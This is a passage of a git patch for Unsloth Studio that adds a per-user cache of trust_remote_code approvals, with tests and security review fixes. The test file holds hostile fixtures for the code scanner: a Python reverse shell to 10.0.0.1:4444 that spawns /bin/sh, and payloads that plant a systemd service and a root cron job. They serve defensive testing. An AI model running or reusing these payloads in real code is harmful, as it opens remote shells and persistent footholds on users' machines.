From ab2717afe01ec2dcf6626a7ae2ff7cb56b08f16b Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Mon, 22 Jun 2026 05:12:49 -0700 Subject: [PATCH] Studio: persistent per-user trust_remote_code approval cache (#6551) * Studio: persistent per-user trust_remote_code approval cache The consent gate pins each approval to a content fingerprint (sha256 over every repo .py), but nothing was persisted, so the dialog reappeared on every fresh load of the same unchanged repo. This adds an on-disk, per-user approval cache that lets the gate skip the dialog when the same user reloads the same code, while keeping the safety guarantees intact. Two-tier validation, both must hold or the user is re-prompted: - Commit SHA (cheap, one HfApi.model_info().sha, no download): a match means a byte-identical tree to the approved revision, so the scan/download is skipped. - Content fingerprint (authoritative): used whenever the SHA is unavailable (local path / offline) and always recomputed on a SHA miss. A new or edited .py changes both the SHA and the fingerprint, so it is caught in every mode. Safety: - Keyed per subject; one user's approval never auto-runs code for another. - CRITICAL is never stored or honored (guarded on both write and read), so a hand-edited store cannot smuggle in an auto-approval. - The malware (HF unsafe-file) gate stays unconditional. - Fail-safe: a corrupt store, an unresolvable SHA, or any error degrades to "ask again", never to "auto-approve". UNSLOTH_TRC_APPROVAL_CACHE_DISABLE=1 turns the cache off entirely. New module utils/security/remote_code_approvals.py holds the store (studio_root()/security/remote_code_approvals.json, atomic write, 0600, RLock) plus the SHA resolvers. Recording happens at the single gate chokepoint when the caller supplies the matching fingerprint, so subject is just threaded through inference/training/export (orchestrators, routes, workers). The scan endpoint returns already_approved so the frontend can skip the dialog on a cache hit. Tests: new tests/test_trc_approval_cache.py covers cache miss, SHA-match skip, SHA-moved re-scan, new-file re-consent, CRITICAL never cached (write + forged read), disable flag, subject isolation, combined adapter+base key, corrupt store, and no-subject bypass. Full security suite: 101 passed. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Address review: make the approval cache skip only the prompt, never the scan Codex found that the SHA "no-scan" fast path could run untrusted code without re-consent. Removed it; the gate now always re-scans and the cache only seeds the authoritative fingerprint check, so it can skip the dialog but never the scan. - CRITICAL is hard-blocked on every load (the scan always runs), so a hand-edited store that downgrades a CRITICAL repo's severity can no longer auto-run it (P2: do not trust editable severity for SHA approvals). - The fingerprint covers external auto_map repos, so changed third-party code always re-prompts even when the primary commit SHA is unchanged; there is no longer a SHA path that bypasses the fingerprint (P1: external auto_map repos). - resolve_commit_sha is resolved fresh on every call (no memoization), so a repo whose default branch moves after approval re-prompts instead of reusing a stale cached SHA (P1: revalidate mutable Hub SHAs). The SHA is now only a conservative secondary gate: a fresh resolvable SHA must match the approved revision, else the seed is withheld; a None (local/offline) falls back to the fingerprint. - Approvals record the scanner ruleset version (SCAN_RULES_VERSION); the gate ignores approvals from an older ruleset so reclassified bytes are re-scanned and re-shown instead of silently auto-approved (P2: invalidate on scan-policy change). Tests: test_trc_approval_cache.py rewritten around the prompt-skip semantics (unchanged repo still scans; SHA move / changed code / scanner-version bump / disable flag all re-prompt; forged downgraded severity still blocks CRITICAL). 105 passed with test_consent_gate.py. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Trim comments to be more succinct * Keep run-owner subject out of persisted config; serialize approval writes Threading subject (the run owner's username / API-key id) into the training config meant _sanitize_db_config persisted it into config_json, which training-history GET returns to any authenticated user, leaking who started a run in multi-user installs. Filter subject alongside the token fields; the worker still receives it from the live config. The approval store's RLock only guards one process, but approvals are recorded from separate inference/export/training subprocesses, so concurrent writers could clobber each other on os.replace and drop an approval (re-prompt). Hold a best-effort cross-process file lock around the read-modify-write. * Fail safe on a malformed approval store A store with the right version but a non-dict shape (e.g. a hand-edited "subjects": []) passed _load()'s check, then lookup chained .get() on a list and raised, breaking every remote-code load until the file was removed. Validate that subjects is a dict in _load(), and tolerate a non-dict per-subject entry in lookup/record/forget, so a corrupt store fails safe (re-prompt) instead. * Keep subject out of the MLX W&B run config _run_mlx_training uploads the whole training config to W&B minus a sensitive set that only listed hf_token/wandb_token/s3_config, so the authenticated subject (username / API-key id) was sent to W&B as run config even though DB history already strips it. Add subject to the W&B-sensitive filter, mirroring training._sanitize_db_config. * Tighten the W&B subject-filter comment --------- Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> --- studio/backend/core/export/orchestrator.py | 2 + studio/backend/core/export/worker.py | 1 + studio/backend/core/inference/orchestrator.py | 2 + studio/backend/core/inference/worker.py | 4 + studio/backend/core/training/training.py | 7 +- studio/backend/core/training/worker.py | 6 +- studio/backend/routes/export.py | 1 + studio/backend/routes/inference.py | 1 + studio/backend/routes/models.py | 11 +- studio/backend/routes/training.py | 1 + studio/backend/tests/test_consent_gate.py | 6 +- .../tests/test_mlx_training_worker_config.py | 11 + .../tests/test_training_history_update.py | 19 ++ .../backend/tests/test_trc_approval_cache.py | 308 ++++++++++++++++++ studio/backend/utils/security/__init__.py | 4 + studio/backend/utils/security/consent.py | 38 +++ .../utils/security/remote_code_approvals.py | 247 ++++++++++++++ .../utils/security/remote_code_scan.py | 5 + .../features/security/api/remote-code-api.ts | 2 + .../security/hooks/use-remote-code-consent.ts | 7 + .../frontend/src/features/security/types.ts | 2 + 21 files changed, 681 insertions(+), 4 deletions(-) create mode 100644 studio/backend/tests/test_trc_approval_cache.py create mode 100644 studio/backend/utils/security/remote_code_approvals.py diff --git a/studio/backend/core/export/orchestrator.py b/studio/backend/core/export/orchestrator.py index 636fe1a759..478624b48e 100644 --- a/studio/backend/core/export/orchestrator.py +++ b/studio/backend/core/export/orchestrator.py @@ -385,6 +385,7 @@ class ExportOrchestrator: trust_remote_code: bool = False, approved_remote_code_fingerprint: Optional[str] = None, hf_token: Optional[str] = None, + subject: Optional[str] = None, ) -> Tuple[bool, str]: """Load a checkpoint for export. @@ -396,6 +397,7 @@ class ExportOrchestrator: "load_in_4bit": load_in_4bit, "trust_remote_code": trust_remote_code, "approved_remote_code_fingerprint": approved_remote_code_fingerprint, + "subject": subject, "hf_token": hf_token, } diff --git a/studio/backend/core/export/worker.py b/studio/backend/core/export/worker.py index f03dcfa41a..d504aff7ea 100644 --- a/studio/backend/core/export/worker.py +++ b/studio/backend/core/export/worker.py @@ -261,6 +261,7 @@ def _handle_load(backend, cmd: dict, resp_queue: Any) -> None: hf_token = cmd.get("hf_token"), trust_remote_code = True, approved_fingerprint = cmd.get("approved_remote_code_fingerprint"), + subject = cmd.get("subject"), ) if _rc.blocked: _send_response( diff --git a/studio/backend/core/inference/orchestrator.py b/studio/backend/core/inference/orchestrator.py index 47e8038764..c980dbde2d 100644 --- a/studio/backend/core/inference/orchestrator.py +++ b/studio/backend/core/inference/orchestrator.py @@ -716,6 +716,7 @@ class InferenceOrchestrator: trust_remote_code: bool = False, approved_remote_code_fingerprint: Optional[str] = None, gpu_ids: Optional[list[int]] = None, + subject: Optional[str] = None, ) -> bool: """Load a model for inference. @@ -739,6 +740,7 @@ class InferenceOrchestrator: "gguf_variant": getattr(config, "gguf_variant", None), "trust_remote_code": trust_remote_code, "approved_remote_code_fingerprint": approved_remote_code_fingerprint, + "subject": subject, "gpu_ids": gpu_ids, } resolved_gpu_ids, gpu_selection = prepare_gpu_selection( diff --git a/studio/backend/core/inference/worker.py b/studio/backend/core/inference/worker.py index 9fe499780e..aa22ce821f 100644 --- a/studio/backend/core/inference/worker.py +++ b/studio/backend/core/inference/worker.py @@ -201,6 +201,7 @@ def _run_security_gates( approved_fingerprint: str | None, resp_queue: Any, compute_subdirs: bool = True, + subject: str | None = None, ) -> bool: """Malware + (when trust_remote_code) remote-code consent gates over *targets* (model + base). Sends the matching 'loaded' failure and returns False if blocked; True @@ -245,6 +246,7 @@ def _run_security_gates( hf_token = hf_token, trust_remote_code = True, approved_fingerprint = approved_fingerprint, + subject = subject, ) if _rc.blocked: _send_response( @@ -292,6 +294,7 @@ def _handle_load(backend, config: dict, resp_queue: Any) -> None: hf_token = hf_token, approved_fingerprint = config.get("approved_remote_code_fingerprint"), resp_queue = resp_queue, + subject = config.get("subject"), ): return @@ -823,6 +826,7 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf approved_fingerprint = config.get("approved_remote_code_fingerprint"), resp_queue = resp_queue, compute_subdirs = False, # stay transformers-free until the SSM kernels are installed + subject = config.get("subject"), ): return # Probe the resolved base for SSM kernels, not the adapter id / local checkpoint path diff --git a/studio/backend/core/training/training.py b/studio/backend/core/training/training.py index 5a1f40d82f..052826e579 100644 --- a/studio/backend/core/training/training.py +++ b/studio/backend/core/training/training.py @@ -77,8 +77,12 @@ _HF_TMP_CHECKPOINT_RE = re.compile(r"^tmp-checkpoint-\d+$") def _sanitize_db_config(config: dict[str, Any]) -> dict[str, Any]: + # ``subject`` (the run owner's username / API-key id) is worker-only metadata; never + # persist it to config_json, which run-history GET returns to any authenticated user. db_config = { - k: v for k, v in config.items() if k not in {"hf_token", "wandb_token", "s3_config"} + k: v + for k, v in config.items() + if k not in {"hf_token", "wandb_token", "s3_config", "subject"} } s3_config = config.get("s3_config") if hasattr(s3_config, "model_dump"): @@ -329,6 +333,7 @@ class TrainingBackend: "resume_from_checkpoint": kwargs.get("resume_from_checkpoint"), "trust_remote_code": kwargs.get("trust_remote_code", False), "approved_remote_code_fingerprint": kwargs.get("approved_remote_code_fingerprint"), + "subject": kwargs.get("subject"), "gpu_ids": kwargs.get("gpu_ids"), "s3_config": kwargs.get("s3_config"), # Flipped to True only by the HTTP-fallback respawn after a stall. diff --git a/studio/backend/core/training/worker.py b/studio/backend/core/training/worker.py index 4fbdbf21ad..cd243c6a21 100644 --- a/studio/backend/core/training/worker.py +++ b/studio/backend/core/training/worker.py @@ -1508,6 +1508,7 @@ def _run_mlx_training(event_queue, stop_queue, config): hf_token = hf_token, trust_remote_code = True, approved_fingerprint = config.get("approved_remote_code_fingerprint"), + subject = config.get("subject"), ) if _rc.blocked: _send( @@ -1916,7 +1917,8 @@ def _run_mlx_training(event_queue, stop_queue, config): wandb_token = config.get("wandb_token") if wandb_token: os.environ["WANDB_API_KEY"] = wandb_token - _wandb_sensitive = {"hf_token", "wandb_token", "s3_config"} + # Keep the authenticated subject out of W&B run config (mirrors _sanitize_db_config). + _wandb_sensitive = {"hf_token", "wandb_token", "s3_config", "subject"} wandb_run = _wandb.init( project = config.get("wandb_project") or "unsloth-mlx", config = {k: v for k, v in config.items() if k not in _wandb_sensitive}, @@ -2245,6 +2247,7 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) -> hf_token = config.get("hf_token") or None, trust_remote_code = True, approved_fingerprint = config.get("approved_remote_code_fingerprint"), + subject = config.get("subject"), ) if _rc.blocked: event_queue.put( @@ -3267,6 +3270,7 @@ def _run_embedding_training(event_queue: Any, stop_queue: Any, config: dict) -> hf_token = hf_token, trust_remote_code = True, approved_fingerprint = config.get("approved_remote_code_fingerprint"), + subject = config.get("subject"), ) if _rc.blocked: event_queue.put( diff --git a/studio/backend/routes/export.py b/studio/backend/routes/export.py index 122f530013..78c1e59d2e 100644 --- a/studio/backend/routes/export.py +++ b/studio/backend/routes/export.py @@ -69,6 +69,7 @@ async def load_checkpoint( trust_remote_code = request.trust_remote_code, approved_remote_code_fingerprint = request.approved_remote_code_fingerprint, hf_token = request.hf_token, + subject = current_subject, ) if not success: diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py index 4887cbe030..53d81961c3 100644 --- a/studio/backend/routes/inference.py +++ b/studio/backend/routes/inference.py @@ -2760,6 +2760,7 @@ async def load_model( trust_remote_code = request.trust_remote_code, approved_remote_code_fingerprint = request.approved_remote_code_fingerprint, gpu_ids = effective_gpu_ids, + subject = current_subject, ) if not success: diff --git a/studio/backend/routes/models.py b/studio/backend/routes/models.py index 14fb5e234c..951c2960f3 100644 --- a/studio/backend/routes/models.py +++ b/studio/backend/routes/models.py @@ -1799,9 +1799,18 @@ async def scan_model_remote_code( for _ext in external_auto_map_repos(_target, hf_token): external_refs.append(_ext) _mark_scan_created(_ext) - decision = preflight_remote_code_consent_for_targets(security_targets, hf_token = hf_token) + decision = preflight_remote_code_consent_for_targets( + security_targets, hf_token = hf_token, subject = current_subject + ) payload = decision.response_payload() payload["requires_trust_remote_code"] = decision.has_remote_code + # Prior approval for the unchanged repo lets the dialog be skipped; the scan still + # ran, so this is a real fingerprint match under the current ruleset. + payload["already_approved"] = ( + decision.has_remote_code + and not decision.blocked + and decision.reason == "approved by fingerprint" + ) # created_by_scan = primary flag (older clients); scan_created_repos drives cleanup. payload["created_by_scan"] = model_name in scan_created_repos payload["scan_created_repos"] = scan_created_repos diff --git a/studio/backend/routes/training.py b/studio/backend/routes/training.py index 64b64c0e97..0b0191ba12 100644 --- a/studio/backend/routes/training.py +++ b/studio/backend/routes/training.py @@ -249,6 +249,7 @@ async def start_training( "resume_from_checkpoint": request.resume_from_checkpoint, "trust_remote_code": request.trust_remote_code, "approved_remote_code_fingerprint": request.approved_remote_code_fingerprint, + "subject": current_subject, "gpu_ids": request.gpu_ids, "s3_config": request.s3_config.model_dump() if request.s3_config else None, } diff --git a/studio/backend/tests/test_consent_gate.py b/studio/backend/tests/test_consent_gate.py index 0fc8d7b695..804221ec7e 100644 --- a/studio/backend/tests/test_consent_gate.py +++ b/studio/backend/tests/test_consent_gate.py @@ -418,7 +418,7 @@ class TestWorkersWireTheGate: # Inference + export expand the consent scan to the LoRA base model's code. for rel in ("core/inference/worker.py", "core/export/worker.py"): src = (_BACKEND / rel).read_text() - assert "consent_targets" in src + assert "evaluate_remote_code_consent" in src assert "get_base_model_from_lora" in src or "mc.base_model" in src def test_remote_lora_base_is_resolved_in_gate_paths(self): @@ -603,6 +603,8 @@ class TestStructuredFindingsForDialog: "preflight_remote_code_consent_for_targets", lambda *_a, **_k: SimpleNamespace( has_remote_code = True, + blocked = False, + reason = "allowed: no high-risk patterns", response_payload = lambda: {"has_remote_code": True, "approvable": True}, ), ) @@ -636,6 +638,8 @@ class TestStructuredFindingsForDialog: def test_fingerprint_threaded_to_worker(self, rel): src = (Path(__file__).resolve().parent.parent / rel).read_text() assert "approved_remote_code_fingerprint" in src + # The per-user approval cache rides the same path as the fingerprint. + assert "subject" in src # Trusted-org auto-enable: is_trusted_org_repo decides whether a repo may auto-enable diff --git a/studio/backend/tests/test_mlx_training_worker_config.py b/studio/backend/tests/test_mlx_training_worker_config.py index 7d45bc735d..e55815f512 100644 --- a/studio/backend/tests/test_mlx_training_worker_config.py +++ b/studio/backend/tests/test_mlx_training_worker_config.py @@ -92,6 +92,17 @@ def test_mlx_studio_keeps_hf_style_tokenizer_dual_purpose(): assert "processor = tokenizer if is_vlm else None" not in source +def test_mlx_wandb_run_config_excludes_subject_and_secrets(): + # The MLX W&B run config uploads the whole config minus a sensitive set. The owner's + # subject (authenticated username / API-key id) must be filtered alongside the secrets, + # otherwise it lands in W&B run config even though DB history already strips it. + source = (Path(__file__).resolve().parents[1] / "core" / "training" / "worker.py").read_text() + + assert ( + '_wandb_sensitive = {"hf_token", "wandb_token", "s3_config", "subject"}' in source + ), "MLX W&B run config must exclude subject and the token/s3 secrets" + + def test_mlx_vlm_resize_uses_max_dimension_like_torch_trainer(): assert _mlx_vlm_max_resized_size(1000, 500, 512) == (512, 256) assert _mlx_vlm_max_resized_size(500, 1000, 512) == (256, 512) diff --git a/studio/backend/tests/test_training_history_update.py b/studio/backend/tests/test_training_history_update.py index d8a0c93622..cf8188f911 100644 --- a/studio/backend/tests/test_training_history_update.py +++ b/studio/backend/tests/test_training_history_update.py @@ -98,3 +98,22 @@ def test_update_run_rejects_unknown_fields(): def test_update_run_rejects_overlong_display_name(): with pytest.raises(ValidationError): TrainingRunUpdateRequest.model_validate({"display_name": "x" * 121}) + + +def test_sanitize_db_config_strips_subject_and_secrets(): + # config_json is returned by run-history GET to any authenticated user, so the run + # owner's subject (username / API-key id) and secrets must never be persisted. + from core.training.training import _sanitize_db_config + + db = _sanitize_db_config( + { + "model_name": "unsloth/test-model", + "subject": "alice@example.com", + "hf_token": "hf_secret", + "wandb_token": "wb_secret", + "lora_r": 16, + } + ) + assert "subject" not in db + assert "hf_token" not in db and "wandb_token" not in db + assert db["model_name"] == "unsloth/test-model" and db["lora_r"] == 16 diff --git a/studio/backend/tests/test_trc_approval_cache.py b/studio/backend/tests/test_trc_approval_cache.py new file mode 100644 index 0000000000..f4a85fee5d --- /dev/null +++ b/studio/backend/tests/test_trc_approval_cache.py @@ -0,0 +1,308 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Tests for the persistent per-user trust_remote_code approval cache. + +The cache skips only the DIALOG, never the scan: every load re-scans (CRITICAL always +blocked), and a stored approval just seeds the authoritative fingerprint check. The scanner +and fingerprint run for real; only the config/file fetch and commit-SHA lookup are stubbed. +""" + +import pytest + +import utils.security.consent as consent +import utils.security.remote_code_approvals as approvals +from utils.security import evaluate_remote_code_consent_for_targets + +# HIGH (approvable) is the interesting case: benign code never prompts and CRITICAL is never +# approvable, so the cache that skips the prompt only matters for blockable-but-approvable. +_HIGH = { + "modeling_persist.py": ( + "open('/etc/systemd/system/x.service', 'w').write('[Service]\\nExecStart=sh')\n" + ) +} +_HIGH2 = { # a different HIGH payload -> different fingerprint + "modeling_persist.py": ("open('/etc/cron.d/x', 'w').write('* * * * * root sh -c id')\n") +} +_CRITICAL = { + "modeling_evil.py": ( + "import socket, subprocess, os\n" + "s = socket.socket(); s.connect(('10.0.0.1', 4444))\n" + "os.dup2(s.fileno(), 0); subprocess.call(['/bin/sh', '-i'])\n" + ) +} + + +@pytest.fixture(autouse = True) +def _isolated_store(tmp_path, monkeypatch): + """Point the store at a tmp file and start each test with a clean cache.""" + monkeypatch.setattr(approvals, "_store_path", lambda: tmp_path / "approvals.json") + monkeypatch.delenv("UNSLOTH_TRC_APPROVAL_CACHE_DISABLE", raising = False) + yield + + +def _patch_scan( + monkeypatch, + files, + sha = "sha1", +): + """Stub the gate's scanners and the SHA resolver; return a {'scans': n} counter.""" + state = {"scans": 0} + + def _files(target, hf_token = None): + state["scans"] += 1 + return dict(files) + + monkeypatch.setattr(consent, "_config_has_auto_map", lambda *a, **k: True) + monkeypatch.setattr(consent, "repo_remote_code_files", _files) + monkeypatch.setattr(approvals, "resolve_commit_sha", lambda t, hf = None: sha) + return state + + +def _gate( + targets, + *, + approved = None, + subject = "user-a", +): + return evaluate_remote_code_consent_for_targets( + targets if isinstance(targets, list) else [targets], + None, + trust_remote_code = True, + approved_fingerprint = approved, + subject = subject, + ) + + +def _approve( + monkeypatch, + target = "org/m", + files = _HIGH, + sha = "sha1", + subject = "user-a", +): + """Drive a genuine approval (scan -> user supplies the matching fingerprint -> record).""" + st = _patch_scan(monkeypatch, files, sha = sha) + fp = _gate(target, subject = subject).fingerprint # blocked: no approval yet + _gate(target, approved = fp, subject = subject) # explicit approval -> recorded + return st, fp + + +# --- store API --------------------------------------------------------------- + + +def test_store_roundtrip_and_forget(): + approvals.record( + "u", "k", commit_sha = "s", fingerprint = "f", max_severity = "HIGH", scanner_version = 1 + ) + got = approvals.lookup("u", "k") + assert got is not None and got.fingerprint == "f" and got.scanner_version == 1 + approvals.forget("u", "k") + assert approvals.lookup("u", "k") is None + + +def test_file_lock_acquires_releases_and_reacquires(): + # Used around every store write; must acquire, release, and be re-acquirable (no leak). + with approvals._file_lock(): + pass + with approvals._file_lock(): + pass + + +def test_concurrent_records_do_not_lose_entries(): + # Many writers recording different keys must all survive the read-modify-write; the file + # lock + re-read serialize them so none clobbers another (cross-process race fix). + import threading + + def rec(i): + approvals.record("u", f"k{i}", commit_sha = "s", fingerprint = f"f{i}", max_severity = "HIGH") + + threads = [threading.Thread(target = rec, args = (i,)) for i in range(20)] + for t in threads: + t.start() + for t in threads: + t.join() + for i in range(20): + assert approvals.lookup("u", f"k{i}") is not None + + +def test_combined_sha_none_when_any_unresolvable(monkeypatch): + monkeypatch.setattr( + approvals, "resolve_commit_sha", lambda t, hf = None: None if t == "org/base" else "s" + ) + assert approvals.resolve_combined_sha(["org/a", "org/base"]) is None + assert approvals.resolve_combined_sha(["org/a"]) is not None + + +def test_resolve_commit_sha_local_and_offline_are_none(monkeypatch): + monkeypatch.setattr("utils.paths.is_local_path", lambda t: t.startswith("/")) + assert approvals.resolve_commit_sha("/local/model") is None + monkeypatch.setattr(approvals, "_env_offline", lambda: True) + assert approvals.resolve_commit_sha("org/remote") is None + + +def test_corrupt_store_is_ignored_then_rewritten(): + store = approvals._store_path() + store.parent.mkdir(parents = True, exist_ok = True) + store.write_text("{ not valid json") + assert approvals.lookup("u", "k") is None # no raise + approvals.record("u", "k", commit_sha = "s", fingerprint = "f", max_severity = "HIGH") + assert approvals.lookup("u", "k") is not None # valid file rewritten + + +def test_malformed_store_shape_fails_safe(): + # Valid JSON + version but a non-dict shape (hand-edited) must fail safe (re-prompt), + # never crash lookup/record/forget. + store = approvals._store_path() + store.parent.mkdir(parents = True, exist_ok = True) + for bad in ('{"version": 1, "subjects": []}', '{"version": 1, "subjects": {"u": []}}'): + store.write_text(bad) + assert approvals.lookup("u", "k") is None # no raise + approvals.forget("u", "k") # no raise + approvals.record("u", "k", commit_sha = "s", fingerprint = "f", max_severity = "HIGH") + assert approvals.lookup("u", "k") is not None # store healed + + +# --- gate integration: the cache skips the prompt, never the scan ------------ + + +def test_cache_miss_prompts(monkeypatch): + _patch_scan(monkeypatch, _HIGH) + d = _gate("org/m") + assert d.blocked is True and d.approvable is True + assert approvals.lookup("user-a", approvals.approval_target_key(["org/m"])) is None + + +def test_unchanged_repo_skips_prompt_but_still_scans(monkeypatch): + st, _ = _approve(monkeypatch) + before = st["scans"] + d = _gate("org/m") # SHA + fingerprint match -> auto-approve, but the scan still runs + assert d.blocked is False and d.reason == "approved by fingerprint" + assert st["scans"] == before + 1 # cache never skips the scan + + +def test_sha_moved_forces_reprompt(monkeypatch): + _approve(monkeypatch, sha = "sha1") + monkeypatch.setattr(approvals, "resolve_commit_sha", lambda t, hf = None: "sha2") + d = _gate("org/m") # SHA moved -> seed withheld -> re-prompt even though code is identical + assert d.blocked is True + + +def test_local_offline_uses_fingerprint_only(monkeypatch): + # SHA unresolvable (local/offline): the fingerprint alone governs, so unchanged code + # still auto-approves. + _approve(monkeypatch, sha = None) + d = _gate("org/m") + assert d.blocked is False and d.reason == "approved by fingerprint" + + +def test_changed_code_same_sha_reprompts(monkeypatch): + # Even with the primary SHA unchanged, changed executable code (e.g. an external + # auto_map repo) changes the fingerprint, so the dialog returns. + _approve(monkeypatch, files = _HIGH, sha = "sha1") + monkeypatch.setattr(consent, "repo_remote_code_files", lambda t, hf_token = None: dict(_HIGH2)) + d = _gate("org/m") + assert d.blocked is True + + +def test_scanner_version_change_invalidates(monkeypatch): + _approve(monkeypatch) # recorded under the current SCANNER_VERSION + monkeypatch.setattr(approvals, "SCANNER_VERSION", approvals.SCANNER_VERSION + 1) + d = _gate("org/m") # ruleset changed -> stored approval ignored -> re-prompt + assert d.blocked is True + + +def test_critical_is_never_recorded(monkeypatch): + _patch_scan(monkeypatch, _CRITICAL) + fp = _gate("org/m").fingerprint + d = _gate("org/m", approved = fp) # CRITICAL is not approvable + assert d.blocked is True and d.approvable is False + assert approvals.lookup("user-a", approvals.approval_target_key(["org/m"])) is None + + +def test_forged_critical_store_entry_is_refused(monkeypatch): + _patch_scan(monkeypatch, _CRITICAL) + key = approvals.approval_target_key(["org/m"]) + approvals._save( + { + "version": 1, + "subjects": { + "user-a": { + key: { + "commit_sha": "org/m=sha1", + "fingerprint": "x", + "max_severity": "CRITICAL", + "scanner_version": approvals.SCANNER_VERSION, + "approved_at": "t", + } + } + }, + } + ) + assert approvals.lookup("user-a", key) is None # read guard refuses CRITICAL + assert _gate("org/m").blocked is True # scan still runs and blocks + + +def test_forged_downgraded_severity_still_blocks_critical(monkeypatch): + # The store is editable JSON: forge a non-CRITICAL severity + the real fingerprint/SHA + # for code that is actually CRITICAL. The scan still runs every load, so CRITICAL is + # hard-blocked regardless of what the store claims. + st = _patch_scan(monkeypatch, _CRITICAL, sha = "sha1") + fp = _gate("org/m").fingerprint + key = approvals.approval_target_key(["org/m"]) + approvals._save( + { + "version": 1, + "subjects": { + "user-a": { + key: { + "commit_sha": approvals.resolve_combined_sha(["org/m"]), + "fingerprint": fp, + "max_severity": "HIGH", # forged downgrade + "scanner_version": approvals.SCANNER_VERSION, + "approved_at": "t", + } + } + }, + } + ) + before = st["scans"] + d = _gate("org/m") + assert d.blocked is True and d.approvable is False + assert st["scans"] == before + 1 # scanned despite the forged approval + + +def test_disable_flag_bypasses_cache(monkeypatch): + _approve(monkeypatch) + monkeypatch.setenv("UNSLOTH_TRC_APPROVAL_CACHE_DISABLE", "1") + d = _gate("org/m") # cache off -> no seed -> re-prompt + assert d.blocked is True + + +def test_subject_isolation(monkeypatch): + _approve(monkeypatch, subject = "user-a") + assert _gate("org/m", subject = "user-a").blocked is False # a: seeded -> auto-approve + assert _gate("org/m", subject = "user-b").blocked is True # b: still prompted + + +def test_combined_lora_key(monkeypatch): + targets = ["org/adapter", "org/base"] + _approve(monkeypatch, target = targets) + assert _gate(targets).blocked is False # combined key seeded + assert _gate(["org/adapter"]).blocked is True # adapter-only key misses + + +def test_no_subject_disables_cache(monkeypatch): + st = _patch_scan(monkeypatch, _HIGH) + fp = evaluate_remote_code_consent_for_targets( + ["org/m"], None, trust_remote_code = True, subject = None + ).fingerprint + evaluate_remote_code_consent_for_targets( + ["org/m"], None, trust_remote_code = True, approved_fingerprint = fp, subject = None + ) + assert approvals.lookup("", approvals.approval_target_key(["org/m"])) is None + # No subject -> nothing seeded -> still blocked next time. + d = evaluate_remote_code_consent_for_targets( + ["org/m"], None, trust_remote_code = True, subject = None + ) + assert d.blocked is True diff --git a/studio/backend/utils/security/__init__.py b/studio/backend/utils/security/__init__.py index b794b1835e..3bcfaebe2f 100644 --- a/studio/backend/utils/security/__init__.py +++ b/studio/backend/utils/security/__init__.py @@ -65,6 +65,7 @@ def preflight_remote_code_consent( trust_remote_code: bool = True, approved_fingerprint = None, trusted_org = None, + subject = None, ) -> "RemoteCodeDecision": """Scan a model's ``auto_map`` for the consent dialog. Thin wrapper over ``evaluate_remote_code_consent`` defaulting ``trust_remote_code=True`` so the scan @@ -77,6 +78,7 @@ def preflight_remote_code_consent( trust_remote_code = trust_remote_code, approved_fingerprint = approved_fingerprint, trusted_org = trusted_org, + subject = subject, ) @@ -86,6 +88,7 @@ def preflight_remote_code_consent_for_targets( *, trust_remote_code: bool = True, approved_fingerprint = None, + subject = None, ) -> "RemoteCodeDecision": """Preflight consent over multiple repos (a LoRA adapter plus its base) scanned as one combined unit with a single pinning fingerprint. Wrapper defaulting @@ -96,6 +99,7 @@ def preflight_remote_code_consent_for_targets( hf_token, trust_remote_code = trust_remote_code, approved_fingerprint = approved_fingerprint, + subject = subject, ) diff --git a/studio/backend/utils/security/consent.py b/studio/backend/utils/security/consent.py index 475f8dabbb..b36131f809 100644 --- a/studio/backend/utils/security/consent.py +++ b/studio/backend/utils/security/consent.py @@ -174,6 +174,7 @@ def evaluate_remote_code_consent( trust_remote_code: bool, approved_fingerprint: Optional[str] = None, trusted_org: Optional[bool] = None, + subject: Optional[str] = None, ) -> RemoteCodeDecision: """Single-repo consent; thin wrapper over the for_targets form. ``trusted_org`` is accepted for backward compatibility but no longer changes the decision. @@ -183,6 +184,7 @@ def evaluate_remote_code_consent( hf_token, trust_remote_code = trust_remote_code, approved_fingerprint = approved_fingerprint, + subject = subject, ) @@ -207,6 +209,7 @@ def evaluate_remote_code_consent_for_targets( *, trust_remote_code: bool, approved_fingerprint: Optional[str] = None, + subject: Optional[str] = None, ) -> RemoteCodeDecision: """Decide whether a ``trust_remote_code=True`` load may proceed, over every repo whose code the load would execute. A LoRA load runs adapter AND base code, so all targets @@ -214,6 +217,11 @@ def evaluate_remote_code_consent_for_targets( -- one approval covers every repo, and a base-only fingerprint can't leave an adapter's own ``auto_map`` unreviewed. On ``blocked``, the caller surfaces ``response_payload()`` and retries with ``approved_fingerprint`` if the user accepts. + + When ``subject`` is given, a prior approval by that user can skip the DIALOG (never the + scan): the stored fingerprint seeds the authoritative content check below, so an + unchanged repo auto-approves while any change re-prompts. A genuine approval is + recorded for next time. """ targets = [t for t in dict.fromkeys(targets) if t] primary = targets[0] if targets else "" @@ -223,6 +231,22 @@ def evaluate_remote_code_consent_for_targets( primary, False, False, None, None, "", "trust_remote_code disabled" ) + # Persistent per-user approval: seed the stored fingerprint so the authoritative scan + # below auto-approves an unchanged repo (skips only the prompt, never the scan). Gated so + # it cannot weaken the scan: the approval must match the current scanner ruleset, and a + # resolvable commit SHA must match the approved revision (a moved repo re-prompts; a None + # SHA relies on the fingerprint). The fingerprint and the CRITICAL block still apply. + caller_approved_fingerprint = approved_fingerprint + if subject: + from utils.security import remote_code_approvals + + _ak = remote_code_approvals.approval_target_key(targets) + _stored = remote_code_approvals.lookup(subject, _ak) + if _stored is not None and _stored.scanner_version == remote_code_approvals.SCANNER_VERSION: + _sha = remote_code_approvals.resolve_combined_sha(targets, hf_token) + if _sha is None or _sha == _stored.commit_sha: + approved_fingerprint = approved_fingerprint or _stored.fingerprint + # Gather executable .py from every target that ships auto_map. A definitively # auto_map-free target contributes nothing; an unreadable config is scanned anyway. # If ANY target's code is present but unscannable, fail the whole load closed. @@ -308,6 +332,20 @@ def evaluate_remote_code_consent_for_targets( fingerprint[:12], ) + # Persist a genuine user approval (caller supplied the matching fingerprint, not a cache + # seed) under the current scanner version, so the unchanged repo is not re-prompted until + # the code or the ruleset changes. + if approved and subject and caller_approved_fingerprint == fingerprint: + from utils.security import remote_code_approvals + 